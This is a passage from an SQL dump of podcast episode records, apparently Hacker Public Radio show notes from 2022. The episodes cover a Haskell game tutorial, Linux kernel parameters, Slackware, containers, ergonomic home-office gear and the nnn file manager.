<br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small>  </p>\r\n<h4 id=\"resources\">Resources</h4>\r\n<p><a href=\"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/kernel_administration_guide/listing_of_kernel_parameters_and_values\" class=\"uri\">https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/kernel_administration_guide/listing_of_kernel_parameters_and_values</a></p>\r\n<pre><code>acpi=ht</code></pre>\r\n<p><a href=\"https://www.kernel.org/doc/ols/2005/ols2005v1-pages-59-76.pdf\" class=\"uri\">https://www.kernel.org/doc/ols/2005/ols2005v1-pages-59-76.pdf</a></p>\r\n<p>Use ACPI boot table parsing, but do not enable ACPI interpreter This disables any ACPI functionality that is not required for Hyper Threading.</p>\r\n<p>ACPI (Advanced Configuration and Power Interface) is an open industry specification establishing industry-standard interfaces for OS-directed configuration and power management on laptops, desktops, and servers.</p>\r\n<h4 id=\"hpr3511-podman-like-vagrant\">HPR3511 Podman like Vagrant</h4>\r\n<p><a href=\"https://archive.org/details/hpr3511\" class=\"uri\">https://archive.org/details/hpr3511</a></p>\r\n',318,0,0,'CC-BY-SA','Slackware, netbook, interrupts, htop, upgrades',0,0,1),
(3592,'2022-05-10','A quick look at the Surface pro X',1380,'Knightwise gives a quick overview of 3 months on the Surface pro X','<p>I talk about the Surface Pro X I got at the beginning of the year and what the pro\'s and cons of it are.<br />\r\nMore at <a href=\"https://www.knightwise.com\">www.knightwise.com</a><br />\r\nTwitter: <a href=\"https://twitter.com/knightwise\">twitter.com/knightwise</a></p>\r\n\r\n<hr />\r\n<p><small>Added by Ken when posting</small></p>\r\n<p>\r\n<a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X\">From Wikipedia, the free encyclopedia</a>\r\n</p>\r\n\r\n<img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/d/d5/Surface_Pro_X.png/528px-Surface_Pro_X.png\" />\r\n\r\n<p>The <b>Surface Pro X</b> is a 2-in-1 detachable <a href=\"https://en.wikipedia.org/wiki/Tablet_computer\" title=\"Tablet computer\">tablet computer</a> developed by <a href=\"https://en.wikipedia.org/wiki/Microsoft\" title=\"Microsoft\">Microsoft</a>. It was developed alongside and was announced on 2 October 2019 alongside the <a href=\"https://en.wikipedia.org/wiki/Surface_Pro_7\" title=\"Surface Pro 7\">Surface Pro 7</a> and <a href=\"https://en.wikipedia.org/wiki/Surface_Laptop_3\" title=\"Surface Laptop 3\">Surface Laptop 3</a>.<sup id=\"cite_ref-Faulkner_1-0\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-Faulkner-1\">[1]</a></sup> Updated hardware was announced alongside <a href=\"https://en.wikipedia.org/wiki/Surface_Laptop_Go\" title=\"Surface Laptop Go\">Surface Laptop Go</a> and Surface accessories on October 1, 2020<sup id=\"cite_ref-2\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-2\">[2]</a></sup> and September 22, 2021.<sup id=\"cite_ref-3\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-3\">[3]</a></sup> The device starts at $899.99 <a href=\"https://en.wikipedia.org/wiki/United_States_Dollar\" class=\"mw-redirect\" title=\"United States Dollar\">US</a>D / £849.99.<sup id=\"cite_ref-4\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-4\">[4]</a></sup><sup id=\"cite_ref-5\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-5\">[5]</a></sup>\r\n</p><p>The Surface Pro X comes with a <a href=\"https://en.wikipedia.org/wiki/List_of_Qualcomm_Snapdragon_systems-on-chip#Microsoft_SQ1_and_SQ2\" class=\"mw-redirect\" title=\"List of Qualcomm Snapdragon systems-on-chip\">Microsoft SQ1 or SQ2</a> <a href=\"https://en.wikipedia.org/wiki/ARM_architecture\" class=\"mw-redirect\" title=\"ARM architecture\">ARM</a> processor, which the company claimed has three times the performance of an x86 <a href=\"https://en.wikipedia.org/wiki/MacBook_Air\" title=\"MacBook Air\">MacBook Air</a>, whilst also having a 13-hour battery life. This is due to the increased power efficiency of ARM processors compared to traditional x86 processors.<sup id=\"cite_ref-Faulkner_1-1\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-Faulkner-1\">[1]</a></sup><sup id=\"cite_ref-6\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-6\">[6]</a></sup><sup id=\"cite_ref-7\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-7\">[7]</a></sup> Microsoft has previously used ARM processors in the discontinued <a href=\"https://en.wikipedia.org/wiki/Surface_RT\" class=\"mw-redirect\" title=\"Surface RT\">Surface RT</a> and <a href=\"https://en.wikipedia.org/wiki/Windows_Phone\" title=\"Windows Phone\">Windows Phone</a> devices.\r\n</p><p>Microsoft now offers a Wifi-only version of the device as announced at their Surface Event on September 22, 2021.<sup id=\"cite_ref-8\" class=\"reference\"><a href=\"https://en.wikipedia.org/wiki/Surface_Pro_X#cite_note-8\">[8]</a></sup>\r\n</p>\r\n',111,0,0,'CC-BY-SA','surface, windows, laptop, hardware, review',0,0,1),
(3582,'2022-04-26','Rolling a new character',1793,'tuturto continues writing an example Haskell game, this time rolling a new character','<h1 id=\"quick-peek-at-some-places-in-code\">Quick peek at some places in code</h1>\n<p><code>Main.hs</code> has our <code>Main</code> module definition. It was generated by <code>Stack</code> when we started. In the end of the <code>main</code> function, it calls <code>run</code> function, which is defined in <code>Run.hs</code> file. This is the place where we can see overall flow of the program in one glance.</p>\n<pre><code>run :: RIO App ()\nrun = do\n  choice &lt;- showMainMenu\n  case choice of\n    StarNewGame -&gt; do\n      logDebug &quot;New game starting...&quot;\n      logDebug &quot;Rolling new character...&quot;\n      player &lt;- liftIO $ evalRandIO rollNewCharacter\n      displayNewCharacter player\n      logDebug &quot;Selecting starting gear...&quot;\n      gear &lt;- selectStartingGear $ playerGear player\n      logDebug &quot;Preparing game...&quot;\n      game &lt;- liftIO $ evalRandIO $ startGame player gear\n      logDebug &quot;Dealing first card...&quot;\n      finishedGame &lt;- playGame game\n      logDebug &quot;Displaying game over...&quot;\n      displayGameOver finishedGame\n\n    ExitGame -&gt;\n      return ()</code></pre>\n<p>Another interesting module is <code>Types</code>. Here you can find how player, items, monsters and such are represented.</p>\n<p>Third and biggest module is <code>UserInterface</code>, which contains functions to display game status to player and ask their input.</p>\n<p>So, what does our <code>run</code> function do? Lets have a look:</p>\n<ul>\n<li><code>choice &lt;- showMainMenu</code>\n<ul>\n<li>show main menu and ask for player input</li>\n</ul></li>\n<li><code>case choice of</code>\n<ul>\n<li>depending on the choice, continue with game logic or exit the function</li>\n</ul></li>\n<li><code>player &lt;- liftIO $ evalRandIO rollNewCharacter</code>\n<ul>\n<li>roll a new character</li>\n<li><code>evalRandIO</code> indicates we\'re dealing with random numbers</li>\n</ul></li>\n<li><code>displayNewCharacter player</code>\n<ul>\n<li>display the new character on screen</li>\n</ul></li>\n<li><code>gear &lt;- selectStartingGear $ playerGear player</code>\n<ul>\n<li>select starting gear</li>\n</ul></li>\n<li><code>game &lt;- liftIO $ evalRandIO $ startGame player gear</code>\n<ul>\n<li>shuffle the deck and set up the game</li>\n<li>again using random numbers here</li>\n</ul></li>\n<li><code>finishedGame &lt;- playGame game</code>\n<ul>\n<li>play game until we\'re done</li>\n</ul></li>\n<li><code>displayGameOver finishedGame</code>\n<ul>\n<li>display game over screen</li>\n</ul></li>\n</ul>\n<h1 id=\"word-about-input-and-output\">Word about input and output</h1>\n<p>One of the features of Haskell I like is the ability to show which functions are pure (always returning same output with given set of inputs and not having any side effects). In our program, every function that returns <code>RIO a b</code> has access to input and output. In addition to that, it also has access to system wide configuration (which we don\'t use much here) and logging functions.</p>\n<p>To write on the screen, we use <code>putStrLn</code> and reading a user input <code>readLine</code>. Since they\'re designed to work with <code>IO</code> instead of <code>RIO a b</code>, we have to use <code>liftIO</code>. But all that is technical details that we won\'t worry now.</p>\n<p><code>App</code> is our configuration. We aren\'t directly using it, so it\'s safe to ignore for now.</p>\n<h1 id=\"showing-main-menu\">Showing main menu</h1>\n<p><code>showMainMenu</code> function will print out the menu and then call <code>mainMenuInput</code>. <code>mainMenuInput</code> will read input, validate that it\'s either <code>1</code> or <code>2</code> and return respectively <code>StarNewGame</code> or <code>ExitGame</code>. In case user enters something else, <code>mainMenuInput</code> will recurse until user enters valid input.</p>\n<pre><code>-- | Display main menu\nshowMainMenu :: RIO App MainMenuChoice\nshowMainMenu = do\n  logDebug &quot;Displaying main menu&quot;\n  liftIO $ putStrLn &quot;\\n\\n&quot;\n  liftIO $ putStrLn &quot;Treasure Dungeon&quot;\n  liftIO $ putStrLn &quot;****************&quot;\n  liftIO $ putStrLn &quot;&quot;\n  liftIO $ putStrLn &quot;1. Start a new game&quot;\n  liftIO $ putStrLn &quot;2. Quit&quot;\n  mainMenuInput\n\nmainMenuInput :: RIO App MainMenuChoice\nmainMenuInput = do\n  i &lt;- liftIO getLine\n  case i of\n    &quot;1&quot; -&gt; return StarNewGame\n    &quot;2&quot; -&gt; return ExitGame\n      _ -&gt; do\n            logDebug $ displayShow $ &quot;Incorrect menu choice: &quot; &lt;&gt; i\n            liftIO $ putStrLn &quot;Please select 1 or 2&quot;\n            mainMenuInput</code></pre>\n<p>You might wonder, why <code>mainMenuInput</code> can keep calling itself without filling the stack? That\'s because Haskell doesn\'t use stack in the same sense as many other programming languages. Haskell compiler is also smart enough to notice that call to <code>mainMenuInput</code> is last operation of the <code>mainMenuInput</code>, there is no work to be done after the call, and thus can optimize things even more. I don\'t know all the dirty details how this has been implemented and how things work behind the curtains.</p>\n<h1 id=\"rolling-new-character\">Rolling new character</h1>\n<p><code>player &lt;- liftIO $ evalRandIO rollNewCharacter</code> rolls a new character, but what exactly is going on here? <code>rollNewChacter</code> has following signature: <code>rollNewCharacter :: (RandomGen g) =&gt; Rand g Player</code>. It doesn\'t take any parameters and returns <code>Rand g Player</code>, where <code>g</code> implements <code>RandomGen</code>. So, it\'s <code>Rand</code> monad that returns <code>Player</code>. In order to get the result of the computation, we call <code>evalRandIO</code> that uses global random number generator to compute. And since it\'s an <code>IO</code> operation, we need <code>liftIO</code>. It\'s bit confusing at first, so don\'t worry if you don\'t get all the details. The main point is that we\'re doing computation with random numbers.</p>\n<p>Implementation is not too complex:</p>\n<pre><code>rollNewCharacter :: (RandomGen g) =&gt; Rand g Player\nrollNewCharacter = do\n  str &lt;- dice 3\n  dex &lt;- dice 3\n  mind &lt;- dice 3\n  maxHp &lt;- dice 4\n  return $ Player\n    { playerStrength  = MkStrength str\n    , playerDexterity = MkDexterity dex\n    , playerMind      = MkMind mind\n    , playerHP        = MkHP maxHp\n    , playerMaxHP     = MkHP maxHp\n    , playerGear      = [ ]\n    }</code></pre>\n<p>This rolls three six sided dice for each attribute and 4 for hit points. The values are then used to create <code>Player</code> record that is returned.</p>\n<p><code>dice</code> is implemented as following:</p>\n<pre><code>dice :: (RandomGen g) =&gt; Natural -&gt; Rand g Natural\ndice n = do\n  rolls &lt;- getRandomRs (1, 6)\n  let roll = sum $ take (fromIntegral n) rolls\n  return $ fromInteger roll</code></pre>\n<p>Again, we\'re using <code>Rand</code> monad for random number generation. <code>getRandomRs</code> supplies us an infinite list of numbers between <code>1</code> and <code>6</code>. Then we use <code>take</code> to some of them and <code>sum</code> to add them together. <code>fromIntegral n</code> is needed, because <code>take</code> doesn\'t operate on <code>Natural</code> type, but <code>Int</code>. I wanted to use <code>Natural</code> though, because that ensures that the parameter <code>n</code> will always be <code>0</code> or more.</p>\n<h1 id=\"in-closing\">In closing</h1>\n<p>Now we have a basic layout for our program and know how to roll a character with random stats. Next time we\'ll finally look into getting some gear on them. The code for the game is available at my <a href=\"https://codeberg.org/tuturto/treasure-dungeon/\">codeberg repository</a>.</p>\n<p>ad astra!</p>\n',364,107,0,'CC-BY-SA','game development, haskell',0,0,1),
(3584,'2022-04-28','The collective history of RAID controller brands',1074,'The story of Raid cards 1999 to present','<p>The market segment of RAID adapters has a long history and tradition, and has undergone gradual concentration, followed by upstream mergers of the owning corporations - a feeding frenzy of sorts, among the semiconductor manufacturers.</p>\n<p><a href=\"https://support.fccps.cz/industry/RAID_history/index.htm\" class=\"uri\">https://support.fccps.cz/industry/RAID_history/index.htm</a></p>\n',129,0,0,'CC-BY-SA','HBA,Raid,Raid card,Mylex,Adaptec',0,0,1),
(3585,'2022-04-29','Freedom of speech in open source, Part 2.',793,'Freedom has a cost.','<p>Check out the first episode of <a href=\"https://hackerpublicradio.org/eps.php?id=3553\">Freedom of speech in open source</a></p>\n',391,0,0,'CC-BY-SA','Free Speech',0,0,1),
(3587,'2022-05-03','20220406_UDM',766,'I talk about my Home Router U D M from ubiquity','<p>My firewall rules!</p>\n<p><a href=\"https://rmccurdy.com/stuff/.iptables.txt\" class=\"uri\">https://rmccurdy.com/stuff/.iptables.txt</a></p>\n',36,0,1,'CC-BY-SA','routers,firewalls,wireless,home networking',0,0,1),
(3593,'2022-05-11','Home office setup mouse shoulder and Auto Hot Key Scripts',1371,'I talk about my issues and solutions for desk ergonomics','<ul>\n<li><p>Anti Fatigue Floor Mat,Kitchen Mat<br />\n<a href=\"https://smile.amazon.com/gp/product/B076SPLWQF\" class=\"uri\">https://smile.amazon.com/gp/product/B076SPLWQF</a></p></li>\n<li><p>FEZIBO Dual Motor Height Adjustable<br />\n<a href=\"https://smile.amazon.com/gp/product/B07QCNL73Y\" class=\"uri\">https://smile.amazon.com/gp/product/B07QCNL73Y</a></p></li>\n<li><p>WALMANN 24\" Folding Shelf Brackets, Collapsible Brackets for Shelves Wall Mounted Hinges Space Saving DIY Bracket for Table Bench, Max Load 500 LBS<br />\n<a href=\"https://smile.amazon.com/gp/product/B08F4VNT9P\" class=\"uri\">https://smile.amazon.com/gp/product/B08F4VNT9P</a></p></li>\n<li><p>Adesso iMouse E9 Left-Handed Vertical Ergonomic Mouse<br />\n<a href=\"https://smile.amazon.com/gp/product/B01N4WA12I\" class=\"uri\">https://smile.amazon.com/gp/product/B01N4WA12I</a></p></li>\n<li><p>Autohotkey macros for LEFT HANDED person!<br />\n<a href=\"https://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey\" class=\"uri\">https://github.com/freeload101/SCRIPTS/tree/master/AutoHotkey</a></p>\n<ul>\n<li>auto installs Autohotkey</li>\n<li>pulls down latest config/AHK script from github</li>\n<li>runs it and based on IP address sets different configurations</li>\n</ul></li>\n</ul>\n',36,0,0,'CC-BY-SA','Ergonomic,back pain,health,fitness',0,0,1),
(3594,'2022-05-12','Peely-wally in Edinburgh',4057,'MrX and Dave Morriss chatting about this and that','<article>\n<h2 id=\"introduction\">Introduction</h2>\n<p>Hosts:</p>\n<ul>\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></li>\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\n</ul>\n<p>We recorded this on Sunday April 24<sup>th</sup> 2022. This is effectively a continuation of the last show, since we found we had lots more to talk about!</p>\n<p><small>Note on the title: again we spoke about the Scots language on the show, so it seemed like a good idea to include more of it in the notes and so on.</small></p>\n<h2 id=\"topics-discussed\">Topics discussed</h2>\n<ul>\n<li>Dampers (in relation to coal fires), a topic we discussed last time:\n<ul>\n<li>MrX found a version of the <a href=\"https://youtu.be/KbauWEfiCMo\">Damper song</a> on YouTube</li>\n</ul></li>\n</ul>\n<ul>\n<li>PC issues:\n<ul>\n<li>Dave’s home-built desktop PC had another disk problem</li>\n<li>Running a SMART daemon (under SystemD) gives warnings of imminent disk problems</li>\n<li>HP Proliant MicroServer - an AMD-based machine sold in the 2010’s (?) by HP with a substantial discount. (Prices cited in the audio are probably not reliable!)</li>\n<li>Regarding the failed PSU mentioned last time, there was speculation about whether turning off at the mains every day is a good idea. MrX is inclined to think that it is not.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Remote-controlled plugs:\n<ul>\n<li>Dave used a set of <em>Brennenstuhl</em> plugs for a while until several of them were destroyed!</li>\n<li>Now has two <em>Sonoff</em> plugs which can be flashed with firmware and controlled with MQTT as part of a Smart Home</li>\n</ul></li>\n</ul>\n<ul>\n<li>Programming:\n<ul>\n<li>MrX has recently been writing a Bash script, and found it difficult to get back into it.</li>\n<li>Dave had written in DEC Pascal on a VAXCluster for many years, but can’t remember any of it any more.</li>\n<li>Discussion of Delphi, Borland C++</li>\n<li>Neither MrX nor Dave has used C very much</li>\n</ul></li>\n</ul>\n<ul>\n<li>Difficulty of producing HPR shows:\n<ul>\n<li>Pandemic effects on motivation</li>\n<li>Complications of working from home</li>\n<li>Happily the rate of contributions to HPR has been increasing in the past few months</li>\n<li>Adding pictures to shows still needs documentation</li>\n</ul></li>\n</ul>\n<ul>\n<li>Smart speakers:\n<ul>\n<li>MrX already had two Google Home devices and got a free Amazon Echo (with Alexa software) from his ISP.</li>\n<li>The Echo didn’t prove to be very useful as a means of listening to BBC radio, and the sign-up was intrusive.</li>\n<li>The Google Home devices are preferable; they give easier access to BBC Radio as well as services like Spotify.</li>\n<li>Dave is avoiding all such devices!</li>\n</ul></li>\n</ul>\n<ul>\n<li>Old computing equipment:\n<ul>\n<li>Dave has an old 132-column Anadex matrix printer with a Centronics interface in his attic - found recently when clearing it out.</li>\n<li>MrX remembered removable Diablo disks.</li>\n<li>Dave reminisced about writing software in Coral66 on a CTL Modular 1 computer in the 1970s, which also had removable disks.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Being back at work again:\n<ul>\n<li>MrX is now in the office twice a week</li>\n<li>The Scotland mask mandate has ended but many people are still wearing them</li>\n<li>People are catching SARS-CoV-2 at work, and particularly from children who are back at school, but vaccination means the effects tend to be milder.</li>\n</ul></li>\n</ul>\n<ul>\n<li>Hayfever (seasonal allergies):\n<ul>\n<li>MrX is taking a <em>30C</em> remedy (a remedy labeled 30C has been serially diluted 1:100 thirty times, so is <em>extremely</em> dilute)</li>\n<li>Dave still suffers from hayfever and takes Cetirizine through spring and summer</li>\n<li>Dave thinks he developed hayfever in the hot summer and drought of 1976 on a field course in Gloucestershire. (BBC News story: <a href=\"https://www.bbc.co.uk/news/magazine-35603972.amp\">Could the ladybird plague of 1976 happen again?</a>)</li>\n</ul></li>\n</ul>\n<ul>\n<li>Medical issues:\n<ul>\n<li>Rheumatoid arthritis - auto-immune origins</li>\n<li>Trigger finger (also known as <em>stenosing tenosynovitis</em>)</li>\n</ul></li>\n</ul>\n<h2 id=\"scots-vocabulary\">Scots vocabulary</h2>\n<dl>\n<dt><b>swither</b></dt>\n<dd><em>noun</em>: A state of indecision or doubt, a pondering, hesitation, uncertainty.\n</dd>\n<dd><em>verb</em>: To be in a state of uncertainty of purpose, to be perplexed about what to do or choose, be in two minds, to doubt, hesitate, dither.\n</dd>\n<dd><br/>\n</dd>\n<dt><b>peely-wally</b> (or <b>peelie-wallie</b> or <b>peelie-wally</b>)</dt>\n<dd><em>adjective</em>: pale, wan and off-colour; insipid and colourless.\n</dd>\n</dl>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Scots words:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Scots_language\">Scots Language</a></li>\n<li><a href=\"https://www.scots-online.org/dictionary/english_scots.php\">The online Scots dictionary (English to Scots)</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Smart Speakers:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Smart_speaker\">Wikipedia article on Smart Speakers</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Old computing equipment:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Centronics\">Wikipedia article on Centronics printers</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Diablo_Data_Systems\">Wikipedia article on Diabolo disks</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Computer_Technology_Limited\">Wikipedia article on Computer Technology Limited (CTL)</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Homeopathic dilutions:\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Homeopathic_dilutions\">Wikipedia article on Homeopathic dilutions</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Medical matters\n<ul>\n<li><a href=\"https://en.wikipedia.org/wiki/Rheumatoid_arthritis\">Wikipedia article on Rheumatoid arthritis</a></li>\n<li><a href=\"https://en.wikipedia.org/wiki/Trigger_finger\">Wikipedia article on Trigger finger</a></li>\n</ul></li>\n</ul>\n</article>\n',225,0,1,'CC-BY-SA','conversation,Scots language,swither,peely-wally',0,0,1),
(3595,'2022-05-13','I am sure I changed my password last...???',641,'Pilot episode. Change your password','<p>Pilot episode. Change your password. Leave me feedback but be gentle...or not</p>\n',405,74,0,'CC-BY-SA','password, cybersecurity,password1234',0,0,1),
(3599,'2022-05-19','Linux Inlaws S01E56: Slackware - A User\'s Perspective',2676,'A discussion with a long-time Slackware user about this oldest Linux distro still alive','<p>In this episode Martin and Chris managed to ensnare a member of the Linux User Group\nFrankfurt (FraLUG) to talk about his history with Slackware, currently the\noldest Linux distribution still maintained. If you ever fancied to know more\nabout this grandfather of a distribution and its ins and outs, this is your\nshow. Plus we get to know more about one of Chris\' well-kept secrets...</p>\n\n<h2>Links:</h2>\n<ul>\n<li>Slackware: <a href=\"https://www.slackware.com\" target=_blank>https://www.slackware.com</a></li>\n<li>LILO: <a href=\"https://www.joonet.de/lilo\" target=_blank>https://www.joonet.de/lilo</a></li>\n<li>sed: <a href=\"https://www.gnu.org/software/sed\" target=_blank>https://www.gnu.org/software/sed</a></li>\n<li>Linux From Scratch: <a href=\"https://www.linuxfromscratch.org\" target=_blank>https://www.linuxfromscratch.org</a></li>\n<li>Arch Linux on ARM 32 bit support: <a href=\"https://archlinuxarm.org/forum/viewtopic.php?f=3&t=15721\" target=_blank>https://archlinuxarm.org/forum/viewtopic.php?f=3&t=15721</a></li>\n<li>Seafile\'s demise: <a href=\"https://github.com/haiwen/seafile/graphs/code-frequency\" target=_blank>https://github.com/haiwen/seafile/graphs/code-frequency</a></li>\n<li>Distrowatch: <a href=\"https://distrowatch.com\" target=_blank>https://distrowatch.com</a></li>\n<li>The Ipcress File (65\'s movie): <a href=\"https://www.imdb.com/title/tt0059319/?ref_=nv_sr_srsg_3\" target=_blank>https://www.imdb.com/title/tt0059319/?ref_=nv_sr_srsg_3</a></li>\n<li>The Ipcress File (22\'s TV miniseries): <a href=\"https://www.imdb.com/title/tt13636038/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt13636038/?ref_=nv_sr_srsg_0</a></li>\n<li>Meet the Feebles: <a href=\"https://www.imdb.com/title/tt0097858/?ref_=nv_sr_srsg_0\" target=_blank>https://www.imdb.com/title/tt0097858/?ref_=nv_sr_srsg_0</a></li>\n<li>Peter Jackson: <a href=\"https://en.wikipedia.org/wiki/Peter_Jackson\" target=_blank>https://en.wikipedia.org/wiki/Peter_Jackson</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','Linux, Slackware, Linux from Scratch, sed, LILO, Peter Jackson',0,0,1),
(3602,'2022-05-24','Hacker Stories April 20 22',1561,'origin story and trouble in school','<p>I guess I lost the document from Lanier Tech :( it was hilarious..</p>\n',36,0,1,'CC-BY-SA','Hacker Stories',0,0,1),
(3609,'2022-06-02','Linux Inlaws S01E57: Operating System Level Virtualisation and Martin\'s Faith',3238,'An in-depth discussion about Jails, Containers, religion and others sorts of confinement','<p>In this episode our two ageing heroes take a closer at operating system\n(OS) level virtualisation. The main different legacy virtualisation\ntechnologies like virtual machines (VMs) and this new-fangled approach is\nthat the OS kernel remains the same across virtualisation domains, thus giving\nthe hippsters and other followers of fashion a cheaper and potentially much\nfaster solution than virtualising the kernel and surrounding hawrdware and all\nthe rest of it. Plus more details on Martin\'s real faith. Don\'t miss out on\nthis episode if you\'re interested in any of these...</p>\n\n<h2>Links:</h2>\n<ul>\n<li>Craíc: <a href=\"https://www.irelandlogue.com/irish-slang/irish-slang.html\" target=_blank>https://www.irelandlogue.com/irish-slang/irish-slang.html</a></li>\n<li>Celts: <a href=\"https://en.wikipedia.org/wiki/Celts\" target=_blank>https://en.wikipedia.org/wiki/Celts</a></li>\n<li>Celtic languages: <a href=\"https://en.wikipedia.org/wiki/Celtic_languages#Living_languages\" target=_blank>https://en.wikipedia.org/wiki/Celtic_languages#Living_languages</a></li>\n<li>[a-zA-Z]+ Virtualisation: <a href=\"https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/techpaper/VMware_paravirtualization.pdf\" target=_blank>https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/techpaper/VMware_paravirtualization.pdf</a></li>\n<li>Hypervisor: <a href=\"https://en.wikipedia.org/wiki/Hypervisor\" target=_blank>https://en.wikipedia.org/wiki/Hypervisor</a></li>\n<li>BSD Jails: <a href=\"https://docs.freebsd.org/en/books/handbook/jails\" target=_blank>https://docs.freebsd.org/en/books/handbook/jails</a></li>\n<li>Solaris Zones: <a href=\"https://www.oracle.com/technical-resources/articles/it-infrastructure/o11-092-s11-zones-intro.html\" target=_blank>https://www.oracle.com/technical-resources/articles/it-infrastructure/o11-092-s11-zones-intro.html</a></li>\n<li>Docker: <a href=\"https://docs.docker.com/engine\" target=_blank>https://docs.docker.com/engine</a></li>\n<li>LXC: <a href=\"https://linuxcontainers.org\" target=_blank>https://linuxcontainers.org</a></li>\n<li>Open Container Iniative: <a href=\"https://opencontainers.org\" target=_blank>https://opencontainers.org</a></li>\n<li>Podman: <a href=\"https://podman.io\" target=_blank>https://podman.io</a></li>\n<li>Double-fork: <a href=\"https://thelinuxjedi.blogspot.com/2014/02/why-use-double-fork-to-daemonize.html\" target=_blank>https://thelinuxjedi.blogspot.com/2014/02/why-use-double-fork-to-daemonize.html</a></li>\n<li>CRI-O: <a href=\"https://github.com/cri-o/cri-o\" target=_blank>https://github.com/cri-o/cri-o</a></li>\n<li>CGroups: <a href=\"https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html\" target=_blank>https://www.kernel.org/doc/html/latest/admin-guide/cgroup-v2.html</a></li>\n<li>Namespaces: <a href=\"https://en.wikipedia.org/wiki/Linux_namespaces\" target=_blank>https://en.wikipedia.org/wiki/Linux_namespaces</a></li>\n<li>The gory details: <a href=\"https://www.haifux.org/lectures/299/netLec7.pdf\" target=_blank>https://www.haifux.org/lectures/299/netLec7.pdf</a></li>\n<li>Dockerfiles: <a href=\"https://docs.docker.com/engine/reference/builder\" target=_blank>https://docs.docker.com/engine/reference/builder</a></li>\n<li>Containerd: <a href=\"https://containerd.io\" target=_blank>https://containerd.io</a></li>\n<li>From Dusk Till Dawn (TV series): <a href=\"https://en.wikipedia.org/wiki/From_Dusk_till_Dawn:_The_Series\" target=_blank>https://en.wikipedia.org/wiki/From_Dusk_till_Dawn:_The_Series</a></li>\n</ul>\n',384,111,1,'CC-BY-SA','Celts, Celtic languages, Containers, Jails, Zones, Docker, CRI-O, From Dusk till Dawn, religion',0,0,1),
(3618,'2022-06-15','The nnn terminal file manager',434,'The nnn terminal file manager and common uses','<h5 id=\"set-default-text-editor\">Set default text editor</h5>\n<h6 id=\"edit-.bashrc-in-fedora\">Edit .bashrc (in Fedora)</h6>\n<pre><code># Export Default editor and while we&#39;re at it, the PATH to /opt\nexport EDITOR=vim\nexport PATH=/opt:$PATH</code></pre>\n<h4 id=\"enable-icons-in-terminal-icons\">Enable icons-in-terminal icons</h4>\n<p><a href=\"https://github.com/jarun/nnn/wiki/Advanced-use-cases\" class=\"uri\">https://github.com/jarun/nnn/wiki/Advanced-use-cases</a></p>\n<p><a href=\"https://github.com/sebastiencs/icons-in-terminal#installation\" class=\"uri\">https://github.com/sebastiencs/icons-in-terminal#installation</a></p>\n<p>To enable icons-in-terminal icons</p>\n<pre><code>Install icons-in-terminal\nClone the nnn repo\nCompile nnn with make O_ICONS=1 from the root s</code></pre>\n<p>To enable Nerdfont icons</p>\n<pre><code>Download and install a patched Nerdfont.\nApply that font as your terminal emulator&#39;s font. This will vary from emulator to\nemulator, but usually involves editing a config file or changing a setting within a\nGUI menu system.\nClone the nnn repo\nCompile nnn with make O_NERD=1 from the root</code></pre>\n<p>Note:</p>\n<pre><code>Arch Linux users can check out the AUR packages nnn-icons and nnn-nerd.</code></pre>\n<h4 id=\"set-default-applications-via-.configmineapps.list\">Set default applications via .config/mineapps.list</h4>\n<h5 id=\"xdg-mime-manpage\">xdg-mime manpage</h5>\n<ul>\n<li><a href=\"https://linux.die.net/man/1/xdg-mime\" class=\"uri\">https://linux.die.net/man/1/xdg-mime</a></li>\n</ul>\n<h5 id=\"update-mime-database-manpage\">update-mime-database manpage</h5>\n<ul>\n<li><a href=\"https://linux.die.net/man/1/update-mime-database\" class=\"uri\">https://linux.die.net/man/1/update-mime-database</a></li>\n</ul>\n<h5 id=\"add-entry-and-use-right-away\">Add entry and use right away</h5>\n<ul>\n<li><p>xdg-mime default mpv.desktop video/mpeg</p></li>\n<li><p>Query the entry</p></li>\n</ul>\n<pre><code>xdg-mime query default image/png\nfeh.desktop</code></pre>\n<ul>\n<li>Query the file in question</li>\n</ul>\n<pre><code>xdg-mime query filetype cory-doctorow-makers.epub\napplication/epub+zip</code></pre>\n<h5 